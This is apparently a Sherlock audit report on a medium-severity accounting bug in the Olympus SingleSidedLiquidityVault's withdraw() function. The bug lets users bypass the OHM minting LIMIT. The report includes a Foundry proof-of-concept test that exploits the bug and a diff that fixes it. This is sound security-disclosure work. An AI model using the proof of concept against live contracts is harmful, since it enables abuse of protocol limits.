joestakey

medium

# Wrong update of `ohmRemoved` in `withdraw()` means users can bypass `LIMIT`

## Summary
`ohmRemoved` is not updated correctly in `withdraw()`, resulting in incorrect tracking of the `ohm` in circulation, and allowing users to bypass the `LIMIT` when depositing

## Vulnerability Detail

`ohmRemoved` is updated **after** `ohmMinted`, but uses the storage value of `ohmMinted`: this result in cases where `ohmRemoved` will end up much higher than what it should be:

```solidity
File: /Users/vladamar/b-sherlock/2023-02-olympus-joestakey/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol
276:         ohmMinted -= ohmReceived > ohmMinted ? ohmMinted : ohmReceived;
277:         ohmRemoved += ohmReceived > ohmMinted ? ohmReceived - ohmMinted : 0; //@audit should use cached ohmMinted
278: 
```
You can add the following test to `WstethLiquidityVaultMock.t.sol`, showing how a user can end up depositing more than the `LIMIT` because `ohmRemoved` is incorrectly updated
```solidity
    function testAuditWrongOhmRemoved() public {
        // Check default limit
        assertEq(liquidityVault.getMaxDeposit(), 1e19);
        wsteth.mint(alice, 10e18);
        vm.prank(alice);
        wsteth.approve(address(liquidityVault), 10e18);
        // Deposit
        vm.prank(alice);
        liquidityVault.deposit(10e18, 1e18);
        uint ohmM = liquidityVault.ohmMinted();
        uint ohmR = liquidityVault.ohmRemoved();
        // @audit 1000e9, 0
        console.log("the ohmMinted is %s, the ohmRemoved is %s", ohmM, ohmR);   

        // // Check limit
        // assertEq(liquidityVault.getMaxDeposit(), 9e18);
        
        uint256 userLpPosition = liquidityVault.lpPositions(alice);
        // // Withdraw and claim
        vm.prank(alice);
        liquidityVault.withdraw(userLpPosition, minTokenAmounts_, false);
        uint ohmM2 = liquidityVault.ohmMinted();
        uint ohmR2 = liquidityVault.ohmRemoved();
        // @audit 0, 1000e9 -> should be 0 , 0!
        console.log("the ohmMinted is %s, the ohmRemoved is %s", ohmM2, ohmR2);
        wsteth.mint(alice, 15e18);
        vm.prank(alice);
        wsteth.approve(address(liquidityVault), 15e18);
        // Deposit
        vm.prank(alice);
        liquidityVault.deposit(15e18, 1e18);
      //@audit Alice bypassed the 1000e9 minting limit!
        assertEq(liquidityVault.ohmMinted(), 1500e9);
    }
```

## Impact
`ohmRemoved` is incorrect, leading to wrong values returned in `getOhmEmissions()` and `getMaxDeposit`, on top of users being able to bypass the `LIMIT` upon deposit.

## Code Snippet
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L276-L277

## Tool used
Manual Review, Foundry

## Recommendation
```diff
File: src/policies/lending/abstracts/SingleSidedLiquidityVault.sol
+              uint256 cachedOhmMinted = ohmMinted;
276:         ohmMinted -= ohmReceived > ohmMinted ? ohmMinted : ohmReceived;
-277:         ohmRemoved += ohmReceived > ohmMinted ? ohmReceived - ohmMinted : 0;
+277:         ohmRemoved += ohmReceived > cachedOhmMinted ? ohmReceived - cachedOhmMinted : 0;
```
